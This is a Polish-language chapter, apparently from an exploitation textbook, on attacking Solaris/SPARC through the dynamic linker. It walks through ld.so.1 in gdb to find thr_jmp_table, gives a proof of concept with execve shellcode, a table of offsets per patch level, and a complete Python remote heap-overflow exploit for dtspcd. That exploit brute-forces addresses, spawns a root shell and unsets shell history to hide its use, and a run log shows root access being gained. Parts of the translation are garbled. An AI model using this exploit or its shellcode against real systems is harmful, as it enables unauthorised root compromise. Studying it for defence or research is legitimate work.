Zaawansowana eksploatacja Solaris

Ta Część obejmuje zaawansowane wykorzystanie Solarisa przy użyciu dynamicznego linkera. Zajmujemy się również generowaniem zaszyfrowanego szelkodu, używanego do zwalczania urządzeń Network IDS (Intrusion Detection System) i/lub IPS (Intrusion Prevention System). Łączenie dynamiczne jest szczegółowo wyjaśnione w SPARC ABI (Application Binary Interface). Omówimy tylko szczegóły niezbędne do budowy nowych metod eksploatacji w środowisku Solaris/SPARC. Nadpisywanie wpisów Global Offset Table (GOT) w celu przejęcia kontroli nad wykonaniem w systemie Linux zostało zademonstrowane i szeroko stosowane w wielu publicznych i prywatnych exploitach. Wiadomo, że ta technika jest najbardziej niezawodnym i niezawodnym sposobem wykorzystania operacji podstawowych przepełnienia zapisu w dowolnym miejscu w pamięci (takich jak błędy ciągu formatującego, przepełnienia sterty itd.). Wszystkie te luki wykorzystują klasyczną metodę eksploatacji, a mianowicie nadpisywanie adresu zwrotnego. Adres zwrotny jest przechowywany w stosie wątków i różni się w różnych środowiskach wykonawczych, co często prowadzi do długich sesji brute force w celu zebrania jego lokalizacji. Z tych powodów modyfikacja GOT w systemach Linux i BSD była najlepszym wektorem eksploatacji dla różnych typów klas błędów. Niestety ta technika nie jest możliwa na architekturze Solaris/SPARC, ponieważ dynamiczne łączenie działa w zupełnie inny sposób. Na SPARC pulpit GOT nie zawiera żadnych bezpośrednich odniesień do rzeczywistego adresu wirtualnego symbolu w obiekcie. Będziemy odnosić się do funkcji (takiej jak printf) jako symbolu, a biblioteki dynamicznej (takiej jak libc.so), która jest mapowana do przestrzeni adresowej wątku, jako obiektu. W przypadku architektury Solaris/SPARC załóżmy, że mamy do czynienia z leniwym wiązaniem. W leniwym wiązaniu symbole będą rozwiązywane przez linker na żądanie, a nie podczas uruchamiania wykonania. Nie musisz się martwić – leniwe wiązanie jest zachowaniem domyślnym. Procedura łączenia tabeli (PLT) wykonuje całą niezbędną pracę, aby zlokalizować adres symbolu w dowolnym z mapowanych obiektów w pamięci. PLT następnie przekaże kontrolę do dynamicznego linkera (ld.so.1 w Solaris) dla początkowego żądania dowolnego symbolu, do którego odwołuje się dowolny z segmentów .text obiektu, z przesunięciem opisującym symbol. Rozpoznawanie symboli odbywa się poprzez dynamiczny linker przechodzący przez połączoną listę mapowanych struktur obiektów. Następnie przeszukuje tabelę symboli dynamicznych (.dynsym) każdego obiektu za pomocą tabel mieszających i łańcuchowych. Tabele mieszania i łańcucha weryfikują, czy żądanie zostało spełnione, przeglądając tabelę ciągu dynamicznego (.dynstr) obiektu. Dynamiczna tablica ciągów zawiera rzeczywisty ciąg i nazwę symbolu. Konsolidator po prostu porównuje ciąg znaków, aby określić, czy żądanie jest dopasowane przez poprawny wpis w poprawnym obiekcie. Jeśli łańcuch nie jest dopasowany, a tabela łańcuchów nie zawiera żadnych dalszych wpisów, linker przechodzi do następnego obiektu na liście dowiązań i kontynuuje działanie, dopóki żądanie nie zostanie spełnione. Po rozwiązaniu lub zlokalizowaniu symbolu, dynamiczny linker łączy PLT wprowadzenie żądanego symbolu wraz z instrukcjami. Te nowo załatane instrukcje spowodują, że aplikacja przeskoczy do ponownej alokacji symbolu, jeśli i kiedy zostanie później zażądana. To miłe, ponieważ nie będziemy musieli od nowa wykonywać tego szalonego dynamicznego procesu łączenia. W przeciwieństwie do linuksowej implementacji dynamicznego linkera glibc, która aktualizuje wpis GOT dla symbolu o nowo rozwiązaną lokalizację, dynamiczny linker Solarisa poprawia PLT rzeczywistymi instrukcjami. Te instrukcje przeniosą aplikację bezpośrednio do lokalizacji w segmencie tekstu mapowanego obiektu. Powinieneś być w pełni świadomy tej głównej różnicy między Linuksem na x86 a Solarisem na SPARC, jeśli chodzi o przyszłe sesje konstruowania exploitów. Ponieważ PLT jest załatany instrukcjami (mówimy tutaj o kodach operacyjnych, a nie adresach), zmiana dowolnego wpisu z adresem wskazującym na szelkod nie powiedzie się. W związku z tym wolimy nadpisać PLT rzeczywistymi instrukcjami. Niestety nie zawsze jest to możliwe, ponieważ przemieszczenie instrukcji skoku lub wywołania jest zależne od jej aktualnej lokalizacji. Jak możesz sobie wyobrazić, ustalenie względnej

odległości szelkodu od nadpisanego wpisu PLT nie jest łatwe. W przypadku przepełnienia sterty nie będzie można nadpisać dowolnego wpisu PLT, ponieważ obie długie liczby całkowite, które umieszczasz w pamięci, muszą być prawidłowymi adresami w przestrzeni adresowej wątku. Jeśli zapomniałeś, jak to zrobić, zapoznaj się z częścią 5 dotyczącą przepełnienia sterty w Linuksie.

Pojedynczy krok dynamicznego linkera

Teraz, gdy przyjrzeliśmy się niezbędnym informacjom podstawowym, powinieneś zrozumieć obecne ograniczenia dotyczące eksploatacji. Zademonstrujemy teraz naszą nową metodę zwiększania niezawodności i niezawodności ataków typu sterty i łańcuchów formatujących. Dynamiczny linker wykonamy krok po kroku, co pokaże nam, że istnieje wiele tabel rozsyłania (przeskoków) istotnych dla funkcjonalności linkera. Pojedynczy krok jest używany, gdy wymagana jest precyzyjna kontrola wykonywania instrukcji. Gdy każda instrukcja jest wykonywana, kontrola jest przekazywana z powrotem do debugera, który rozkłada następną instrukcję do wykonania. Musisz podać dane wejściowe w tym momencie, zanim wykonanie będzie kontynuowane. Tabele te, które zawierają wewnętrzne wskaźniki funkcji, pozostają w tej samej lokalizacji w przestrzeni adresowej każdego wątku. To marzenie zdalnego atakującego — niezawodne i rezydentne wskaźniki funkcji. Zdeasemblujmy i wykonajmy jeden krok następujący przykład, aby znaleźć potencjalnie nowy wektor eksploatacji plików wykonywalnych Solaris/SPARC:

< linkme.c >

#include < stdio.h >

int

main(void)

{

printf(“hello world!\n”);

printf(“uberhax0r rux!\n”);

}

bash-2.03# gcc -o linkme linkme.c

bash-2.03# gdb -q linkme

(no debugging symbols found)...(gdb)

(gdb) disassemble main

Dump of assembler code for function main:

0x10684 < main >: save %sp, -112, %sp

0x10688 < main+4 >: sethi %hi(0x10400), %o0

0x1068c < main+8 >: or %o0, 0x358, %o0 ! 0x10758

< _lib_version+8 >

0x10690 < main+12 >: call 0x20818 < printf >

0x10694 < main+16 >: nop

0x10698 < main+20 >: sethi %hi(0x10400), %o0

0x1069c < main+24 >: or %o0, 0x368, %o0 ! 0x10768

< _lib_version+24 >

0x106a0 <main+28>: call 0x20818 < printf >

0x106a4 < main+32 >: nop

0x106a8 < main+36 >: mov %o0, %i0

0x106ac < main+40 >: nop

0x106b0 < main+44 >: ret

0x106b4 < main+48 >: restore

0x106b8 < main+52 >: retl

0x106bc < main+56 >: add %o7, %l7, %l7

End of assembler dump.

(gdb) b *main

Breakpoint 1 at 0x10684

(gdb) r

Starting program: /BOOK/linkme

(no debugging symbols found)...(no debugging symbols found)…

(no debugging symbols found)…

Breakpoint 1, 0x10684 in main ()

(gdb) x/i *main+12

0x10690 < main+12 >: call 0x20818 < printf >

(gdb) x/4i 0x20818

0x20818 < printf >: sethi %hi(0x1e000), %g1

0x2081c < printf+4 >: b,a 0x207a0 < _PROCEDURE_LINKAGE_TABLE_ >

0x20820 < printf+8 >: nop

0x20824 < printf+12 >: nop

Jest to początkowy wpis dla printf() w PLT, gdzie printf jest pierwszy przywoływany. Rejestr %g1 zostanie ustawiony z przesunięciem 0x1e000, a następnie skokiem do pierwszego wpisu w PLT. To ustawi wychodzące argumenty i przeniesie nas do funkcji rozwiązywania dynamicznego linkera.

(gdb) b *0x20818

Breakpoint 2 at 0x20818

(gdb) display/i $pc

1: x/i $pc 0x10684 <main>: save %sp, -112, %sp

(gdb) c

Kontynuując, ustawiamy punkt przerwania dla wpisu PLT funkcji printf().

Breakpoint 2, 0x20818 in printf ()

1: x/i $pc 0x20818 <printf>: sethi %hi(0x1e000), %g1

(gdb) x/4i $pc

0x20818 < printf >: sethi %hi(0x1e000), %g1

0x2081c < printf+4 >: b,a 0x207a0 < _PROCEDURE_LINKAGE_TABLE_ >

0x20820 < printf+8 >: nop

0x20824 < printf+12 >: nop

gdb) c

Continuing.

hello world!

printf został po raz pierwszy przywołany z segmentu .text i wprowadzony do PLT, który przekierowuje wykonanie do odwzorowanego w pamięci obrazu dynamicznego linkera. Dynamiczny linker rozwiązuje lokalizację funkcji (printf) w mapowanych obiektach, w tym przypadku libc.so, i kieruje wykonanie do tej lokalizacji. Dynamiczny linker łata także wpis PLT dla printf instrukcjami, które przeskakują do wpisu printf z libc, gdy istnieje dalsze odwołanie do printf. Jak widać z poniższego demontażu, wpis PLT printf został zmieniony przez dynamiczny linker. Zwróć uwagę na adres 0xff304418, który jest lokalizacją printf z w libc.so. Po tym następuje metoda sprawdzania, czy rzeczywiście jest to lokalizacja printf w libc.so.

Breakpoint 2, 0x20818 in printf ()

1: x/i $pc 0x20818 < printf >: sethi %hi(0x1e000), %g1

(gdb) x/4i $pc

0x20818 < printf >: sethi %hi(0x1e000), %g1

0x2081c < printf+4 >: sethi %hi(0xff304400), %g1

0x20820 < printf+8 >: jmp %g1 + 0x18 ! 0xff304418 <printf>

0x20824 < printf+12 >: nop

FF280000 672K read/exec /usr/lib/libc.so.1

Następnie widzimy, gdzie libc jest mapowana w naszym przykładowym przykładzie hello world.

bash-2.03# nm -x /usr/lib/libc.so.1 | grep printf

[3762] |0x00084290|0x00000188|FUNC |GLOB |0 |9 |_fprintf

[593] |0x00000000|0x00000000|FILE |LOCL |0 |ABS |_sprintf_sup.c

[4756] |0x00084290|0x00000188|FUNC |WEAK |0 |9 |fprintf

[2185] |0x00000000|0x00000000|FILE |LOCL |0 |ABS |fprintf.c

[4718] |0x00084cbc|0x000001c4|FUNC |GLOB |0 |9 |fwprintf

[3806] |0x00084418|0x00000194|FUNC |GLOB |0 |9 |printf

|

|->> printf() within libc.so

Poniższe obliczenia dadzą nam dokładną lokalizację printf() w przestrzeni adresowej naszego przykładu:

bash-2.03# gdb -q

(gdb) printf “0x%.8x\n”, 0x00084418 + 0xFF280000

0xff304418

Adres 0xff304418 to dokładna lokalizacja printf() w naszej przykładowej aplikacji. Zgodnie z oczekiwaniami, dynamiczny linker zaktualizował wpis printf PLT o dokładną lokalizację printf() w przestrzeni adresowej wątku. Zagłębmy się głębiej w proces dynamicznego łączenia, aby dowiedzieć się więcej o tej nowej technice eksploatacji. Zrestartujemy aplikację i punkt przerwania we wpisie PLT printf(), a następnie wykonamy pojedynczy krok do dynamicznego linkera.

(gdb) b *0x20818

Breakpoint 1 at 0x20818

(gdb) r

Starting program: /BOOK/./linkme

(no debugging symbols found)...(no debugging symbols found) …

(no debugging symbols found)…

Breakpoint 1, 0x20818 in printf ()

(gdb) display/i $pc

1: x/i $pc 0x20818 <printf>: sethi %hi(0x1e000), %g1

(gdb) si

0x2081c in printf ()

1: x/i $pc 0x2081c <printf+4>: b,a 0x207a0

< _PROCEDURE_LINKAGE_TABLE_ >

(gdb)

0x207a0 in _PROCEDURE_LINKAGE_TABLE_ ()

1: x/i $pc 0x207a0 <_PROCEDURE_LINKAGE_TABLE_>: save %sp, -64, %sp

(gdb)

0x207a4 in _PROCEDURE_LINKAGE_TABLE_ ()

1: x/i $pc 0x207a4 < _PROCEDURE_LINKAGE_TABLE_+4 >:

call 0xfffffffffff3b297c

To jest rzeczywista instrukcja wywołania, która zabierze nas do funkcji wejścia dynamicznego linkera.

(gdb)

0x207a8 in _PROCEDURE_LINKAGE_TABLE_ ()

1: x/i $pc 0x207a8 <_PROCEDURE_LINKAGE_TABLE_+8>: nop

Now, let's look at the call instruction's delay slot.

(gdb)

0xff3b297c in ?? ()

1: x/i $pc 0xfffffffffff3b297c: mov %i7, %o0

Na tym etapie znajdujemy się w odwzorowanym w pamięci obrazie ld.so. Dla zwięzłości nie wyjaśnimy wszystkich instrukcji, dopóki nie trafimy do sekcji docelowej. Zrobimy krótką sesję inżynierii odwrotnej dla czystej emocji.

(gdb)

1: x/i $pc 0xfffffffffff3b297c: mov %i7, %o0

1: x/i $pc 0xfffffffffff3b2980: save %sp, -96, %sp

1: x/i $pc 0xfffffffffff3b2984: mov %i0, %o3

%o3 is the address within .text where printf() is called.

1: x/i $pc 0xfffffffffff3b2988: add %i7, -4, %o0

%o0 is the address of PLT.

1: x/i $pc 0xfffffffffff3b298c: srl %g1, 0xa, %g1

%g1 is the entry number of printf() within PLT.

1: x/i $pc 0xfffffffffff3b2990: add %o0, %g1, %o0

%o0 is the printf()'s address in PLT.

1: x/i $pc 0xfffffffffff3b2994: mov %g1, %o1

%o1 is the entry number within PLT.

1: x/i $pc 0xfffffffffff3b2998: call 0xfffffffffff3c34c8

1: x/i $pc 0xfffffffffff3b299c: ld [%i7 + 8], %o2

%o2 zawiera czwartą liczbę całkowitą w PLT, która jest wskaźnikiem do najważniejszej podstawy dynamicznego linkera: Lista linków struktur określana jako mapa linków. Zobacz /usr/include/sys/link.h, aby zapoznać się z jego układem. Teraz funkcja w lokalizacji 0xff3c34c8 (ignoruj bity wyższego rzędu, które wydają się być ustawione; 0xfffffffffff3c34c8 to w rzeczywistości 0xff3c34c8) jest wywoływana z następującymi argumentami:

func(address_of_PLT, slot_number_in_PLT, address_of_link_map,

.text_address);

0xff3c34c8(0x20818, 0x78, 0xff3a0018, 0x10690);

1: x/i $pc 0xfffffffff3c34c8: save %sp, -144, %sp

1: x/i $pc 0xfffffffff3c34cc: call 0xfffffffff3c34d4

1: x/i $pc 0xfffffffff3c34d0: sethi %hi(0x1f000), %o1

Zasadniczo stwierdza: zarezerwuj trochę stosu i przenieś przychodzące argumenty do rejestrów wejściowych. Teraz wszystkie poprzednie adresy i przesunięcia, z którymi mieliśmy do czynienia, znajdują się w rejestrach od %i0 do %i3. Ustaw rejestr %o1 na 0x1f000 i skocz do funkcji liścia na 0xff3c34d4.

i0 0x20818 address_of_PLT

i1 0x78 slot_number_in_PLT

i2 0xff3a0018 ddress_of_link_map

i3 0x10690 .text_address

1: x/i $pc 0xfffffffff3c34d4: mov %i3, %l2

1: x/i $pc 0xfffffffff3c34d8: add %o1, 0x19c, %o1

1: x/i $pc 0xfffffffff3c34dc: mov %i2, %l1

1: x/i $pc 0xfffffffff3c34e0: add %o1, %o7, %i4

1: x/i $pc 0xfffffffff3c34e4: mov %i0, %l3

1: x/i $pc 0xfffffffff3c34e8: call 0xfffffffff3bda9c

1: x/i $pc 0xfffffffff3c34ec: clr [%fp + -4]

Poprzednie instrukcje przechowują wszystkie wyżej wymienione wartości rejestrów wejściowych w rejestrze lokalnym lub rejestrach tymczasowych/zdrapkowych. Zwróć uwagę, że adres struktury wewnętrznej jest przechowywany w rejestrze %i4. Na koniec ten blok instrukcji przekazuje sterowanie do innej funkcji pod adresem 0xff3bda9c.

1: x/i $pc 0xfffffffff3bda9c: save %sp, -96, %sp

1: x/i $pc 0xfffffffff3bdaa0: call 0xfffffffff3bdaa8

1: x/i $pc 0xfffffffff3bdaa4: sethi %hi(0x24800), %o1

Zasadniczo ten blok kodu ustawia rejestry %o1 na 0x24800 i wywołuje funkcję pod adresem 0xff3bdaa8.1: x/i $pc 0xfffffffff3bdaa8: add %o1, 0x3c8, %o1 ! 0x24bc8

1: x/i $pc 0xfffffffff3bdaac: add %o1, %o7, %i0

1: x/i $pc 0xfffffffff3bdab0: call 0xfffffffff3b92ec

1: x/i $pc 0xfffffffff3bdab4: mov 1, %o0

Ten blok kodu dodaje poprzednią wartość 0x24800 do adresu wywołującego (który jest lokalizacją instrukcji poprzedniego wywołania: 0xff3bdaa0) i przenosi sumę do rejestru %i0. Ponownie przepływ wykonania jest kierowany do innej funkcji pod adresem 0xff3b92ec.

1: x/i $pc 0xfffffffffff3b92ec: mov %o7, %o5

1: x/i $pc 0xfffffffffff3b92f0: call 0xfffffffffff3b92f8

1: x/i $pc 0xfffffffffff3b92f4: sethi %hi(0x29000), %o4

To jest to samo, co w poprzednim bloku; natychmiast przekazujemy kontrolę do innej funkcji z dodatkową operacją. Ustawiamy rejestr %o4 na wartość 0x29000. Lokalizacja wywołującego jest przechowywana w rejestrze %o5 i wprowadzana jest funkcja pod adresem 0xff3b92f8. Teraz przejdźmy do Świętego Graala, którego wszyscy szukamy. Jeśli uważasz, że wyjaśnienie jest do tej pory nużące, zdecydowanie powinieneś teraz zwrócić na to uwagę.

1: x/i $pc 0xfffffffffff3b92f8: add %o4, 0x378, %o4 ! 0x29378

1: x/i $pc 0xfffffffffff3b92fc: add %o4, %o7, %g1

Poprzednie dwie instrukcje przekładają się na %o4 + 0x378 + %o7, czyli 0x29000 + 0x378 + 0xff3b92f0 (lokalizacja wywołującego). Teraz rejestr %g1 zawiera adres wewnętrznej struktury ld.so, która jest świetnym wektorem do wykorzystania.

1: x/i $pc 0xfffffffffff3b9300: mov %o5, %o7

Poprzedni fragment kodu przeniesie rozmówcę wywołującego na adres naszego rozmówcy. Ten proces przenoszenia wywołujących spowoduje, że bieżący blok wykonania powróci do dzwoniącego, a nie do naszego początkowego wywołującego.

(gdb) info reg $g1

g1 0xff3e2668 -12704152

1: x/i $pc 0xfffffffffff3b9304: ld [%g1 + 0x30], %g1

1: x/i $pc 0xfffffffffff3b9308: ld [%g1], %g1

1: x/i $pc 0xfffffffffff3b930c: jmp %g1

(gdb) x/x $g1 + 0x30

0xfffffffffff3e2698: 0xff3e21b4

Poprzednia instrukcja może zostać przetłumaczona na %g1 zawierającą adres wewnętrznej struktury linkera. Elementem tej struktury w lokalizacji 0x30 jest wskaźnik do tablicy wskaźników funkcji. Wtedy pierwszy wpis w tej tabeli lub tablicy wskaźników do funkcji jest wywoływany przez następującą instrukcję jmp:

struct internal_ld_stuff {

0x00…

…

0x30: unsigned long *ptr;

…

};

Za pomocą następujących obliczeń możemy określić położenie naszej tablicy wskaźników funkcji:

(gdb) x/x $g1 + 0x30

0xffffffffff3e2698: 0xff3e21b4

Zasadniczo adres 0xff3e21b4 zawiera adres tablicy, której pierwszym wpisem będzie następna funkcja, do której przeskoczy dynamiczny linker. W tym momencie sprawdzimy układ linkera dynamicznego w procesie. Odkryjemy, że ten adres ma wpis w tablicy symboli dynamicznego linkera, co będzie bardzo przydatne w zlokalizowaniu go na późniejszym etapie.

FF3B0000 136K read/exec /usr/lib/ld.so.1

0xff3b0000 to adres, pod którym dynamiczny linker jest mapowany do przestrzeni adresowej każdego wątku w systemie operacyjnym Solaris 8. Możesz to sprawdzić za pomocą aplikacji /usr/bin/pmap. Uzbrojony w tę wiedzę, możesz znaleźć położenie tej tablicy wskaźników funkcji w ld.so.

bash-2.03# gdb -q

(gdb) printf “0x%.8x\n”, 0xff3e21b4 - 0xff3b0000

0x000321b4

0x000321b4 to lokalizacja w ld.więc szukamy. Skarb ujawnia się za pomocą następującego polecenia:

bash-2.03# nm -x /usr/lib/ld.so.1 | grep 0x000321b4

[433] |0x000321b4|0x0000001c|OBJT |LOCL |0 |14 |thr_jmp_table

thr_jmp_table (tabela skoków wątków) okazuje się być tablicą, w której przechowywane są wewnętrzne wskaźniki funkcji ld.so. Teraz przetestujmy naszą teorię w działaniu na następującym przykładzie:

< hiyar.c >

#include < stdio.h >

/* http://lsd-pl.net */

char shellcode[]= /* 10*4+8 bytes */

“\x20\xbf\xff\xff” /* bn,a <shellcode-4> */

“\x20\xbf\xff\xff” /* bn,a <shellcode> */

“\x7f\xff\xff\xff” /* call <shellcode+4> */

“\x90\x03\xe0\x20” /* add %o7,32,%o0 */

“\x92\x02\x20\x10” /* add %o0,16,%o1 */

“\xc0\x22\x20\x08” /* st %g0,[%o0+8] */

“\xd0\x22\x20\x10” /* st %o0,[%o0+16] */

“\xc0\x22\x20\x14” /* st %g0,[%o0+20] */

“\x82\x10\x20\x0b” /* mov 0x0b,%g1 */

```
"\x91\xd0\x20\x08" /* ta 8 */
"/bin/ksh"
;
int
main(int argc, char **argv)
{
long *ptr;
long *addr = (long *) shellcode;
printf("la la lala laaaaa\n");
//ld.so base + thr_jmp_table
//[433] |0x000321b4|0x0000001c|OBJT |LOCL |0 |14
|thr_jmp_table
//0xFF3B0000 + 0x000321b4
ptr = (long *) 0xff3e21b4;
*ptr++ = (long)((long *) shellcode);
strcmp("mocha", "latte"); //this will make us enter the dynamic
linker
//since there is no prior call to strcmp()
}
bash-2.03# gcc -o hiyar hiyar.c
bash-2.03# ./hiyar
la la lala laaaaa
#
```

Wykonanie jest przejmowane i kierowane do szelkodu; strcmp() nigdy nie został wprowadzony. Ta technika jest znacznie bardziej niezawodna i niezawodna niż jakiekolwiek wcześniej wymyślone techniki eksploatacji systemu Solaris (takie jak exitfns, adres zwrotny itd.), dlatego zaleca się jej używanie w celu przejęcia kontroli nad wykonaniem we wszystkich sytuacjach. Będziesz musiał skompilować prostą bazę danych dla przesunięć thr_jmp_table ze względu na wprowadzenie nowych plików binarnych ld.so.1 z różnymi klastrami łat. Natknęliśmy się tylko na cztery różne przesunięcia. Zostawiamy czytelnikowi ćwiczenie odkrywania, jeśli to możliwe, dodatkowych przesunięć z różnych poziomów poprawek, które mogliśmy przeoczyć.

1)

5.8 Generic_108528-07 sun4u SPARC SUNW,UltraAX-i2

5.8 Generic_108528-09 sun4u SPARC SUNW,Ultra-5_10

0x000321b4 thr_jmp_table

2)

5.8 Generic_108528-14 sun4u SPARC SUNW,UltraSPARC-IIi-cEngine

5.8 Generic_108528-15 sun4u SPARC SUNW,Ultra-5_10

0x000361d8 thr_jmp_table

3)

5.8 Generic_108528-17 sun4u SPARC SUNW,Ultra-80

0x000361e0 thr_jmp_table

4)

5.8 Generic_108528-20 sun4u SPARC SUNW,Ultra-5_10

0x000381e8 thr_jmp_table

Następnie zademonstrujemy, w jaki sposób thr_jmp_table może być używany w eksploitach zdalnego przepełnienia sterty, aby uzyskać solidną i niezawodną metodę uzyskania kontroli nad wykonaniem. Wprowadziliśmy listę przesunięć dla wyżej wymienionych różnych lokalizacji thr_jmp_table; teraz możemy brute force, zwiększając adresy sterty. Będziemy musieli również zmienić przesunięcie thr_jmp_table w następnym wpisie na poniższej liście:

self.thr_jmp_table = [0x321b4, 0x361d8, 0x361e0, 0x381e8]

---------- dtspcd_exp.py ----------

```
# noir@olympos.org || noir@uberhax0r.net
# Sinan Eren (c) 2003
# dtspcd heap overflow
# with all new shiny tricks baby ;)
import socket
import telnetlib
import sys
import string
import struct
import time
import threading
import random
PORT = “6112”
CHANNEL_ID = 2
```

```
SPC_ABORT = 3
SPC_REGISTER = 4
class DTSPCDException(Exception):
def __init__(self, args=None):
self.args = args
def __str__(self):
return `self.args`
class DTSPCDClient:
def __init__(self):
self.seq = 1
def spc_register(self, user, buf):
return “4 “ + “\x00” + user + “\x00\x00” + “10” + “\x00” + buf
def spc_write(self, buf, cmd):
self.data = “%08x%02x%04x%04x “ % (CHANNEL_ID, cmd, len(buf),
self.seq)
self.seq += 1
self.data += buf
if self.sck.send(self.data) < len(self.data):
raise DTSPCDException, “network problem, packet not fully
send”
def spc_read(self):
self.recvbuf = self.sck.recv(20)
if len(self.recvbuf) < 20:
raise DTSPCDException, “network problem, packet not fully
received”
self.chan = string.atol(self.recvbuf[:8], 16)
self.cmd = string.atol(self.recvbuf[8:10], 16)
self.mbl = string.atol(self.recvbuf[10:14], 16)
self.seqrecv = string.atol(self.recvbuf[14:18], 16)
#print “chan, cmd, len, seq: “ , self.chan, self.cmd, self.mbl,
self.seqrecv
```

```
self.recvbuf = self.sck.recv(self.mbl)
if len(self.recvbuf) < self.mbl:
raise DTSPCDException, “network problem, packet not fully
recvied”
return self.recvbuf
class DTSPCDExploit(DTSPCDClient):
def __init__(self, target, user=””, port=PORT):
self.user = user
self.set_target(target)
self.set_port(port)
DTSPCDClient.__init__(self)
#shellcode: write(0, “/bin/ksh”, 8) + fcntl(0, F_DUP2FD, 0-1-2)
+ exec(“/bin/ksh”&hellip;
self.shellcode =\
“\xa4\x1c\x40\x11”+\
“\xa4\x1c\x40\x11”+\
“\xa4\x1c\x40\x11”+\
“\xa4\x1c\x40\x11”+\
“\xa4\x1c\x40\x11”+\
“\xa4\x1c\x40\x11”+\
“\x20\xbf\xff\xff”+\
“\x20\xbf\xff\xff”+\
“\x7f\xff\xff\xff”+\
“\xa2\x1c\x40\x11”+\
“\x90\x24\x40\x11”+\
“\x92\x10\x20\x09”+\
“\x94\x0c\x40\x11”+\
“\x82\x10\x20\x3e”+\
“\x91\xd0\x20\x08”+\
“\xa2\x04\x60\x01”+\
```

```
“\x80\xa4\x60\x02”+\
“\x04\xbf\xff\xfa”+\
“\x90\x23\xc0\x0f”+\
“\x92\x03\xe0\x58”+\
“\x94\x10\x20\x08”+\
“\x82\x10\x20\x04”+\
“\x91\xd0\x20\x08”+\
“\x90\x03\xe0\x58”+\
“\x92\x02\x20\x10”+\
“\xc0\x22\x20\x08”+\
“\xd0\x22\x20\x10”+\
“\xc0\x22\x20\x14”+\
“\x82\x10\x20\x0b”+\
“\x91\xd0\x20\x08”+\
“\x2f\x62\x69\x6e”+\
“\x2f\x6b\x73\x68”
def set_user(self, user):
self.user = user
def get_user(self):
return self.user
def set_target(self, target):
try:
self.target = socket.gethostbyname(target)
except socket.gaierror, err:
raise DTSPCDException, “DTSPCDExploit, Host: “ + target + “
“ + err[1]
def get_target(self):
return self.target
def set_port(self, port):
self.port = string.atoi(port)
def get_port(self):
```

```
return self.port
def get_uname(self):
self.setup()
self.uname_d = { “hostname”: “”, “os”: “”, “version”: “”,
“arch”: “” }
self.spc_write(self.spc_register(“root”, “\x00”), SPC_REGISTER)
self.resp = self.spc_read().
try:
self.resp =
self.resp[self.resp.index(“1000”)+5:len(self.resp)-1]
except ValueError:
raise DTSPCDException, “Non standard response to REGISTER
cmd”
self.resp = self.resp.split(“:”)
self.uname_d = { “hostname”: self.resp[0],\
“os”: self.resp[1],\
“version”: self.resp[2],\
“arch”: self.resp[3] }
print self.uname_d
self.spc_write(“”, SPC_ABORT)
self.sck.close()
def setup(self):
try:
self.sck = socket.socket(socket.AF_INET, socket.SOCK_STREAM,
socket.IPPROTO_IP)
self.sck.connect((self.target, self.port))
except socket.error, err:
raise DTSPCDException, “DTSPCDExploit, Host: “ +
str(self.target) + “:”\
+ str(self.port) + “ “ + err[1]
def exploit(self, retloc, retaddr):
```

```
self.setup()
self.ovf = “\xa4\x1c\x40\x11\x20\xbf\xff\xff” * ((4096 - 8 -
len(self.shellcode)) / 8)
self.ovf += self.shellcode + “\x00\x00\x10\x3e” +
“\x00\x00\x00\x14” +\
“\x12\x12\x12\x12” + “\xff\xff\xff\xff” +
“\x00\x00\x0f\xf4” +\
self.get_chunk(retloc, retaddr)
self.ovf += “A” * ((0x103e - 8) - len(self.ovf))
#raw_input(“attach”)
self.spc_write(self.spc_register(“”, self.ovf), SPC_REGISTER)
time.sleep(0.1)
self.check_bd()
#self.spc_write(“”, SPC_ABORT)
self.sck.close()
def get_chunk(self, retloc, retaddr):
return “\x12\x12\x12\x12” + struct.pack(“>l”, retaddr) +\
“\x23\x23\x23\x23” + “\xff\xff\xff\xff” +\
“\x34\x34\x34\x34” + “\x45\x45\x45\x45” +\
“\x56\x56\x56\x56” + struct.pack(“>l”, (retloc - 8))
def attack(self):
print “[*] retrieving remote version [*]“
self.get_uname()
print “[*] exploiting ... [*]“
#do some parsing later ;p
self.ldso_base = 0xff3b0000 #solaris 7, 8 also 9
self.thr_jmp_table = [ 0x321b4, 0x361d8, 0x361e0, 0x381e8 ]
#from various patch clusters
self.increment = 0x400
for each in self.thr_jmp_table:
self.retaddr_base = 0x2c000 #vanilla solaris 8 heap brute
```

```
start
#almost always work!
while self.retaddr_base < 0x2f000: #heap brute force end
print “trying; retloc: 0x%08x, retaddr: 0x%08x” %\
((self.ldso_base+each), self.retaddr_base)
self.exploit((each+self.ldso_base), self.retaddr_base)
self.exploit((each+self.ldso_base), self.retaddr_base+4)
self.retaddr_base += self.increment
def check_bd(self):
try:
self.recvbuf = self.sck.recv(100)
if self.recvbuf.find(“ksh”) != -1:
print “got shellcode response: “, self.recvbuf
self.proxy()
except socket.error:
pass
return -1
def proxy(self):
self.t = telnetlib.Telnet()
self.t.sock = self.sck
self.t.write(“unset HISTFILE;uname -a;\n”)
self.t.interact()
sys.exit(1)
def run(self):
self.attack()
return
if __name__ == “__main__“:
if len(sys.argv) < 2:
print “usage: dtspcd_exp.py target_ip”
sys.exit(0)
exp = DTSPCDExploit(sys.argv[1])
```

#print “user, target, port: “, exp.get_user(), exp.get_target(),

exp.get_port()

exp.run()

Let’s see how this exploit will work.

juneof44:~/exploit_workshop/dtspcd_exp # python dtspcd_exp_book.pyv

192.168.10.40

[*] retrieving remote version [*]

{‘arch’: ‘sun4u’, ‘hostname’: ‘slint’, ‘os’: ‘SunOS’, ‘version’: ‘5.8’}

[*] exploiting ... [*]

trying; retloc: 0xff3e21b4, retaddr: 0x0002c000

trying; retloc: 0xff3e21b4, retaddr: 0x0002c400

trying; retloc: 0xff3e21b4, retaddr: 0x0002c800

got shellcode response: /bin/ksh

SunOS slint 5.8 Generic_108528-09 sun4u SPARC SUNW,Ultra-5_10

id

uid=0(root) gid=0(root)

…

Próby brutalnej siły pozostawiły plik core w katalogu głównym; początkowe skoki do przestrzeni sterty nie trafiły w ładunek (nop + kod powłoki). Ten plik podstawowy jest dobrym punktem wyjścia do analizy pośmiertnej naszej techniki zaczepiania o wykonanie. Poświęćmy trochę czasu i zobaczmy, co możemy znaleźć.

bash-2.03# gdb -q /usr/dt/bin/dtspcd /core

(no debugging symbols found)...Core was generated by

`/usr/dt/bin/dtspcd’.

Program terminated with signal 4, Illegal Instruction.

Reading symbols from /usr/dt/lib/libDtSvc.so.1…

…

Loaded symbols for /usr/platform/SUNW,Ultra-5_10/lib/libc_psr.so.1

#0 0x2c820 in ?? ()

(gdb) bt

#0 0x2c820 in ?? ()

#1 0xff3c34f0 in ?? ()

#2 0xff3b29a0 in ?? ()

